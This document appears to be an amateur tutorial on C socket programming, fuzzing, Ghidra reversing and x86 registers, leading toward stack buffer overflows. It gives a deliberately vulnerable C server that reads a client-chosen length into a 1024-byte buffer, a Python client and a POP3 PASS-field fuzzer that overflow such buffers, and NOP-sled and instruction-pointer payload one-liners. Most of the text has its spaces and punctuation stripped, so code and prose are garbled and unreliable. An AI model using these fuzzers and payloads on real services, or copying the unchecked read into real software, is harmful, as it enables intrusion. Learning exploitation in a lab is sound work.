IntroductionThistutorialstartedasasimpleattempttotakenotesandfollowmycuriosityonCprogrammingAssemblyandBufferOverflowsworkDonrsquottakeanythinghereasgospelbecausethecontentwaswrittenbyahigh-schooldrop-outwithoutanyformalcomputersciencebackgroundIfyoufindsomethingwildlywrongthenletmeknowFromwhatIcantelloverallthisworkisdirectionallyaccurateThePoCandmuchofthecontentiscompiledandinspiredfromvariousCTFsOnlineVideosUPENNRensellerBlackhatpresentationsexploitresearchersonexploit-dbandmore ThisentirepaperlooksattechnologyfromtheperspectiveofsomeonewhoneedstolearnfromthegroundupAllthetutorialsandblogsonBufferOverflowseithershowabasicldquoInputdatahererdquoCprogramorusewellknownvendorproductsTherelittlementionontheCprogramminglanguageorthememoryprotectionswithinThereislittlementionofthepainoftakingpre-compiledbinariesthatyoudidnotwriteandattemptingoffuzzitreverseengineeritandunderstanditbeforethrowingyourgarbageattheprogramMosttutorialsdivestraightintointimidatingdebuggersGUIswithoutstartinginasimpleGDBscreenneverforcingtheusertothinkaboutwhattheyneedtoseeAlltheblogstutorialsandtrainingtellsyoutodisablemodernmemoryandstackprotectionswithoutexplainingthecriticallyofthemandthedifficultyofdevelopingasuccessfulexploitinthemodernworldAndthereislittleinterdisciplinarymentionofimplementingtheprotectiveanddetectivetechnologythatrelatestothebufferoverflow Allthisleavesthetechnologynew-comerwildlyunpreparedortheleastblissfullyignorantincludingmyselfIntheunlikelychancethatsomeonestartingtheircareerstumblesuponthispaperonlineIhopeyoufindthatitishistoricallyasuselessasthepapersandtutorialsthatcamebeforeitIhopeitinspiresyoutolearnmoreandbuilduponandcorrectitThereisnomoneyinvolvedherenocorporatesponsorshipnoeduhomeworkoranythinglikethatJustsomeonewholoveslearningwhowroteitalldown Ifyoursquorefoolishorboredenoughtogoanyfurtherwhatwillyoufind
1 BasicsofCSocketprogramming2 CSocketprogramcodewInlinecommentsonhowtowriteaSocketprograminC3 BasicfuzzerdevelopmentinPython4 Basicofreverseengineeringpre-compiledBinariesfoundonlinewithNSAGHIDRA5 BasicsofusingGBDandEDBdebuggers6 Intromaterialonx86AssemblyandMemory7 CrashingtheStack(BufferOverflowPoC)8 StaticAnalysisofInsecureFunctionsinC9 BasicsontheMitigationstoBufferOverflows10 BasicsonBypassingBufferOverflowMitigations11 BasicsonDetectingBufferOverflowsandPostexploitactivity
S3csM
BasicsonSocketProgramminginCincludeTheincludeiscalledapre-processordirectiveWhenyoucompileaCorC++programoneofthefirstthingsCdoesisuseapre-processorandfindthecharactersTheincludedirectiveinsertsthecontentsofanotherfileintothatspotinthesourcecodeThinkofitlikesourcinganydependentClibrariesUsuallythisisaheaderfile(hextension)thatdefinesvariabletypesorfunctionsSincetheincludedfilesnameissurroundedbyltandgtitmeansitslocatedinthestandardincludepathandnotwiththerestofthesourcefilesincludeltstdiohgtInputandOutputoperationscanalsobeperformedinC++usingtheCStandardInputandOutputLibrary(cstdioknownasstdiohintheClanguage)ThislibraryuseswhatarecalledstreamstooperatewithphysicaldevicessuchaskeyboardsprintersterminalsorwithanyothertypeoffilessupportedbythesystemStreamsareanabstractiontointeractwiththeseinauniformwayAllstreamshavesimilarpropertiesindependentlyoftheindividualcharacteristicsofthephysicalmediatheyareassociatedwithincludeltstdlibhgtThisheaderdefinesseveralgeneralpurposefunctionsincludingdynamicmemorymanagementrandomnumbergenerationcommunicationwiththeenvironmentintegerarithmeticssearchingsortingandconvertingrsquoincludeltstringhgtThisheaderfiledefinesseveralfunctionstomanipulateCstringsandarraysEgCopyingconcatenationcomparisonetcincludeltsyssockethgtThisheaderfileprovidesgeneralfunctionalityforsocketprogrammingAsocketisageneralizedinterprocesscommunicationchannelLikeapipeasocketisrepresentedasafiledescriptorUnlikepipessocketssupportcommunicationbetweenunrelatedprocessesandevenbetweenprocessesrunningondifferentmachinesthatcommunicateoveranetworkSocketsaretheprimarymeansofcommunicatingwithothermachinestelnetrloginftptalkandtheotherfamiliarnetworkprogramsusesocketsincludeltnetinetinhgtTheheaderfileinhcontainsconstantsandstructuresneededforinternetdomainaddressesincludeltunistdhgtThisheaderfilewillprovidevariousconstanttypeandfunctiondeclarationsthatcomprisethePOSIXoperatingsystemAPI
SourceCodetoVulnerableServerandPythonClientcanbefoundhelliphttpsgithubcomsecSandmanBuffer_Overflow_PoC_C_LinuxTheclientPoCpyandclientpyfileswillbeusedtofuzzandattackthevulnerableprogramLaterwersquollexplainwhatandwhyFornowthisisjustanexampleforthosewhowanttodiverightinandworkbackwards
clientPoCpy
usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=
Serverexpectsapre-fixtellingyouthebuffersizeThiswillhelpustroubleshootintheserverterminal
raw+=structpack(ltIlen(MESSAGE))raw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()
printReceiveddatadata
ThevulnerableServercisthevulnerableCprogramThesourcecodewillexplainthewhatandthewhyofthecodeincaseyouwanttobuildyourownprogramLaterwecoverothervulnerableCfunctionsFornowthisisjustanexampleforthosewhowanttodiverightinandworkbackwards
VulnerableServerwcommentsonSocketCprogramminginC
AvulnerablenetworkapplicationCtoshowthebasicsoverflowingabufferandwritingasimpleSocketProgram(-8Thankstotaishi8117forthesourcecodeandopensourcingthecodeIupdatedtheServertoruncontinuouslysoyoucanwriteaniterativefuzzeronitPreviouslytheserverterminatedprocessafterthefirstserverresponseThankstoRensellarCollegeandUPENNforleavingyourCCprogrammingmaterialforfreeonthepublicinternetincludeltstdiohgtincludeltstdlibhgtincludeltstringhgtincludeltsystypeshgtincludeltsyssockethgtincludeltnetinetinhgtincludeltunistdhgtincludeltsignalhgtdefinesamacronamedBUFFER_BOUNDARY_SIZEasanabbreviationforthetoken1024HEADER_SIZEisuniquetothisapplicationandisapre-fixedstringaddedtothemessageblockdefineBUFFER_BOUNDARY_SIZE1024defineHEADER_SIZE4Macrowillinsertbuffersizeof1024intocharbuffersettingourbuffersizeto1024bytesvoidvuln_read(intcli_fd)Theserverreadscharactersfromthesocketconnectionintothisbuffercharbuffer[BUFFER_BOUNDARY_SIZE]Assumingthatincomingclientheaderisinlittleendiantheserverwillthenreadthefirst4bytestogetaclientprovidedpre-fixstringstatinghowmanybytestotheclientisprovidingintto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)
-----------------WARNING------------------------intread_bytes=read(cli_fdbufferto_read)hasabufferoverflowvulnerabilitybecauseto_readcanbemuchlargerthanthemacrodefined1024Thatsbecausethereisnobytelengthvalidationonto_readbeforeweplaceintobufferof1024meh intread_bytes=read(cli_fdbufferto_read)printf(Readdbytesnread_bytes)printf(Incomingmessagesnbuffer)intmain(intargccharargv)if(argclt2)printf(Usages[port]nargv[0])exit(1)sockfdisafiledescriptorsiearraysubscriptsintothefiledescriptortableThesetwovariablesstorethevaluesreturnedbythesocketsystemcallandtheacceptsystemcallportstorestheportnumberonwhichtheserveracceptsconnectionscli_lenstoresthesizeoftheaddressoftheclientThisisneededfortheacceptsystemcallintportsock_fdcli_fdsocklen_tcli_lenAsockaddr_inisastructurecontaininganinternetaddressThisstructureisdefinedinltnetinetinhgtstructsockaddr_inserv_addrcli_addrThesocket()systemcallcreatesanewsocketIttakesthreeargumentsThefirstistheaddressdomainofthesocketRecallthattherearetwopossibleaddressdomainstheunixdomainfortwoprocesseswhichshareacommonfilesystemandtheInternetdomainforanytwohostsontheInternetThesymbolconstantAF_UNIXisusedfortheformerandAF_INETforthelatter(thereareactuallymanyotheroptionswhichcanbeusedhereforspecializedpurposes)ThesecondargumentisthetypeofsocketRecallthattherearetwochoiceshereastreamsocketinwhichcharactersarereadinacontinuousstreamasiffromafileorpipeandadatagramsocketinwhichmessagesarereadinchunksThetwosymbolicconstantsareSOCK_STREAMandSOCK_DGRAMThethirdargumentistheprotocolIfthisargumentiszero(anditalwaysshouldbeexceptforunusualcircumstances)theoperatingsystemwillchoosethemostappropriateprotocolItwillchooseTCPforstreamsocketsandUDPfordatagramsocketsThesocketsystemcallreturnsanentryintothefiledescriptortable(ieasmallinteger)ThisvalueisusedforallsubsequentreferencestothissocketIfthesocketcallfailsitreturns-1InthiscasetheprogramdisplaysanderrormessageandexitsHoweverthissystemcallisunlikelytofailThisisasimplifieddescriptionofthesocketcalltherearenumerousotherchoicesfordomainsandtypesbutthesearethemostcommonsock_fd=socket(AF_INETSOCK_STREAM0)
if(sock_fdlt0)printf(Erroropeningasocketn)exit(1)Anin_addrstructuredefinedinthesameheaderfilecontainsonlyonefieldaunsignedlongcalleds_addrforserveraddressThevariableserv_addrwillcontaintheaddressoftheserverandcli_addrwillcontaintheaddressoftheclientwhichconnectstotheserverTheportnumberonwhichtheserverwilllistenforconnectionsispassedinasanargumentandthisstatementusestheatoi()functiontoconvertthisfromastringofdigitstoanintegerport=atoi(argv[1])serv_addrsin_family=AF_INETserv_addrsin_addrs_addr=INADDR_ANYserv_addrsin_port=htons(port)Thebind()systemcallbindsasockettoanaddressinthiscasetheaddressofthecurrenthostandportnumberonwhichtheserverwillrunIttakesthreeargumentsthesocketfiledescriptortheaddresstowhichisboundandthesizeoftheaddresstowhichitisboundThesecondargumentisapointertoastructureoftypesockaddrbutwhatispassedinisastructureoftypesockaddr_inandsothismustbecasttothecorrecttypeThiscanfailforanumberofreasonsthemostobviousbeingthatthissocketisalreadyinuseonthismachineif(bind(sock_fd(structsockaddr)ampserv_addrsizeof(serv_addr))lt0)printf(Erroronbind()n)exit(1)ThelistensystemcallallowstheprocesstolistenonthesocketforconnectionsThefirstargumentisthesocketfiledescriptorandthesecondisthesizeofthebacklogqueueiethenumberofconnectionsthatcanbewaitingwhiletheprocessishandlingaparticularconnectionThisshouldbesetto5themaximumsizepermittedbymostsystemsIfthefirstargumentisavalidsocketthiscallcannotfailandsothecodedoesntcheckforerrors printf(Waitingforaconnectionn)listen(sock_fd1)while(1)infiniteloopTheaccept()systemcallcausestheprocesstoblockuntilaclientconnectstotheserverThusitwakesuptheprocesswhenaconnectionfromaclienthasbeensuccessfullyestablishedItreturnsanewfiledescriptorandallcommunicationonthisconnectionshouldbedoneusingthenewfiledescriptorThesecondargumentisareferencepointertotheaddressoftheclientontheotherendoftheconnectionandthethirdargumentisthesizeofthisstructurecli_len=sizeof(cli_addr)cli_fd=accept(sock_fd(structsockaddr)ampcli_addrampcli_len)if(cli_fdlt0)printf(Erroronaccept()n)exit(1)printf(Connectionacceptedn)
vuln_read(cli_fd)charmessage[]=HellotheretrytoPwnmeifyourea1773H4x0rlolznwrite(cli_fdmessagestrlen(message))close(cli_fd)sleep(1)return0
BasicsofFuzzingLetrsquosgetonethingoutofthewayIambynomeansamasteroffuzzingLikethisentiredocumentIonlywritetore-enforcemyownpersonallearningandmaybehaveausefulreferenceformyselforfriendslaterPerOWASPldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoThereare3generictypesoffuzzers
ApplicationFuzzers ProtocolFuzzers FileFormattingFuzzers
TolearnthecoreconceptsIstartedbytakingapurestapproachandlearningthebasicsoffuzzingwithmanualcommand-lineandalittlebitofpythonAllyouneedisthegeneralcuriosityofldquoWhathappenswhenItypethisinrdquoHoweverwhendealingwithlargebuffersorvariouscombinationandpermutationyoumayneedtowritesomeforandwhileloopsinascriptinglanguageorusedpre-computedwellknownbadparameterlistslikethosefoundherehttpsgithubcomdanielmiesslerSecListstreemasterFuzzing
FuzzingforOverflows-GettheArsquosBrsquosandCrsquosAsimpleandwellknownpythonexamplecanbefoundfloatingaroundGithubandBlogstoexploitanoldPOP3serverOfcourseyouneedtoknowsomebasicsofthePOP3protocolcommandThebelowcodeisagoodexampleofgrowingavalueinbyte-sizebeyondtheallocatedmemorysizeThisexampledoesntfocusonfuzzingldquoWebapplicationrdquoresponsesbutinsteadfocusesonsimplebytesizebasedbufferoverflowEventuallytheapplicationcrasheswithasegmentationfaultwhen
FuzzerBuffergtApplicationBuffer
WersquolluseabunchofArsquosBrsquosandCrsquostolocatethespaceinmemorywehavewrittenintoYoucanpickwhatevervaluesyouwantbutstartingwritingoutafewwellknownHEXcodesmakesiteasyforanooblikemyselftoseewhendiggingintothestackandbufferduringdebuggingHereareacouplepiecesofPythonscriptthatcanbere-usedforvariousoccasionsusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((19216801110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()AnotherexamplemightbetogeneraterandomAlphaNumericvaluestothrowatyourapplicationargumentsThevalueofperformingthisofthismightdependonwhattypeofbehavioryourtryingtoinvokeimportsysfromrandomimportrandintsamplefromfuzzerimportFuzzerclassAlphaNumericFuzzer(Fuzzer)Afuzzerthatproducesunstructuredalphanumericoutputdef__init__(selfmin_lengthmax_length)super()__init__()self_min_length=min_lengthself_max_length=max_lengthself_alphabet=set(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789)propertydefmin_length(self)returnself_min_length
propertydefmax_length(self)returnself_max_lengthdefgenerate(self)data=[]start=selfmin_lengthend=0ifselfmax_lengthisnotNoneend=randint(startselfmax_length)elseend=randint(startsysmaxsize)foriinrange(startend)dataappend(sample(self_alphabet1)[0])self_casesappend(join(data))returnjoin(data)AnothersimplecommandforthemanualtestinginthisPoCareasfollowspython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]DonrsquotworryifthesecommandsareconfusingwersquorebuildinguptoexamplesThegoalhereistolearntowriteBOmalwareReversecompiledBbinarieshowtowritethebasicsoflowlevelCprogrammingSocketProgrammingandAssemblyHoweverthereareplentyofldquopre-definedrdquolistsofwellknownbadparameterstopassintoinputfieldsandheadersviaallsortsofWeb-AppproxytoolsMaybeforanothertimeIntelligentvsDumbFuzzingIjustgotoutofanembeddedsystemexploitationclasstaughtbysomebrilliantexploitresearchersanddevelopersfromRaytheonMartinHodoakaldquoShellcodeMercenaryrdquosaidsomethingIthoughtwasagreatstickingpointldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoInthisexampleweareluckyenoughtohaveaccesstosomesourcecodeThereisagoodexampleinthesourcecodethatprovesMartinrsquospointServer-SideSourceCodeExampledefineHEADER_SIZE4charbuffer[BUFFER_BOUNDARY_SIZE]intto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)
Client-SideCodeCodeExampledefconvert(message)raw=raw+=structpack(ltIlen(message))raw+=messagereturnrawWhyisthisimportantWhatpointdoesthisillustrateMyhumbleopinionisthattheapplicationmaybeexpectingaveryparticularsetofstringsbeforeprocessinganydatainthebufferitselfForexamplemaybethesocketyourcommunicatingisexpectingsomesortofpreamble2byteflagsorevenasimpleldquoHellordquoprefixMorerealisticallytheclientcouldsendsometypeofuniqueOSflagClientVersionFlagHelloorwhoknowswhatInthiscasethereisanexpectationthatthefirst4byteswillincludethelengthoftheclientpayloadThelengthoftheclientpayloadisofcoursecalculatedbythepythonclientAdnthatrsquosjustaweirdnuanceofthiscodeandprobablynoothercodeSoifyoutrytoconnectdirectlytothesocketandthrowaldquoBunchofArsquosrdquoatthelistenermaybetheldquoAsrdquowillgettothenextfunctionfortheoverflowORmaybetheldquoArsquosrdquowonrsquotevenmakeitbecauseofsomemissingpre-fixlogicstuffthatisuniquetotheapplicationExampleofOverflowcrashusingPrefix
InthiscasewewereluckyandourldquoArsquosrdquoorldquox41rdquomadeitthroughandoverwrotetheinstructionpointerThismaynotmeanmuchtothosenewtotheBufferOverflowconceptbutdonrsquotworrybecausethepointisldquothehackworkedrdquobecauseweknewtheservicewasexpectinga4byteofprefixThemoreyouunderstandwhattheapplicationexpectsthemorelikelyyouaregettingintodeeperpartsinthecode Nowletrsquostakealookatblindlyfuzzingwithoutunderstandingtheclient-serversourcecode
ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix
WhathappenedhereItwouldappearthatwesentthesamenumberofldquoArsquosrdquototheprogrambutweexitednormallyanddidnotreceiveasegmentationfaultattheinstructionpointerWhyWellwithoutknowingthesourcecodewecanrsquotreallysayAlthowecanguessthatwithouttheldquoPrefixrdquobytesthenwearenotover-writingthestackenoughandneedmoreldquoArsquosrdquoAlsolookhowtheldquoWillReadrdquoandldquoReadrdquoseemstobeallwhackyandnotmakemuchsensePreviouslytheclientpyscriptsentthestringldquo1050rdquointhemessageandtheservertolduswesent1050bytesbutonlybecauseldquo1050rdquostringwasprefixedontothemessageviatheclientSincethenetcatcommanddoesnrsquothavethatlogictheldquoprefixrdquoismissingandourserversidecodedoesnrsquotknowwhattodoThiscouldresultinsomelogicfailureearlyinthesourcecodekeepingyoufromfeedingthoseldquoArsquosrdquointoavulnerablefunctionthathidesdeeperinthestackwaitingforajuicy0-day(-
ReversingCompiledBinariesInthecaseoftheexampleclientpywegetluckyandcansimplyreverseengineerthepythonsourcecodeIfweweredealingwithacompiledclientbinarythenIrsquodsaystartwithldquofilerdquoandldquostringsrdquocommandandthenmoveontode-compliationLetrsquostryfileandstringsonourserversidecompiledcodejustforkicks
WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo
LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit
YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems
WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC
ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes
Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode
FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch
CrashingtheStackFinallyrightitrsquosalongstrangetripSo
WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments
Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload
Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip
TheScarydebuggerUI
IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners
NativeEDBinTerminal
OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes
1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection
2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater
3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired
4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault
5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer
6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly
MemoryArchitecture
RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy
detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus
Generalregisters Controlregisters Segmentregisters
Thegeneralregistersarefurtherdividedintothefollowinggroups
Dataregisters Pointerregisters Indexregisters DataRegisters
DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit
1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters
AHALBHBLCHCLDHandDL
Someofthesedataregistershavespecificuseinarithmeticaloperations
AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in
multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand
BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing
CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations
DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with
DXformultiplyanddivideoperationsinvolvinglargevalues
PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP
Therearethreecategoriesofpointerregisters
Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be
executed IP in association with the CS register (as CSIP) gives the complete address of the current
instruction in the code segment NOTES IP will control the next instruction executed hellip like say our
malware
Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in
association with the SS register (SSSP) refers to be current position of data or address within the program
stack NOTES Might give you a reference point to look higher in memory to find our malware in
bufferNOPsledaddresses
Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a
subroutine The address in SS register is combined with the offset in BP to get the location of the parameter
BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer
tracks the memory location between your Dynamic Variables and registers and your buffer etc BP
isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer
Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated
and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational
codestostartwiththatmostoverflowstutorialsseemtoincludehellip
Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures
following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end
andcomebacktoreading
ControlFlowInstructions
The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the
currentinstructionstarts
Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be
manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions
We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code
textbyenteringalabelnamefollowedbyacolonForexample
movesi[ebp+8]
beginxorecxecx
moveax[esi]
The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this
instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing
thelocationinsteadofits32-bitvalue
jmpmdashJump
Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into
amemorylocationthatishostingthemalware
Syntax
jmpltlabelgt
Example
jmpbeginmdashJumptotheinstructionlabeledbegin
callretmdashSubroutinecallandreturn
These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the
hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code
location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when
thesubroutinecompletes
The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported
in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of
instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater
Syntax
callltlabelgt
ret
DataMovementInstructions
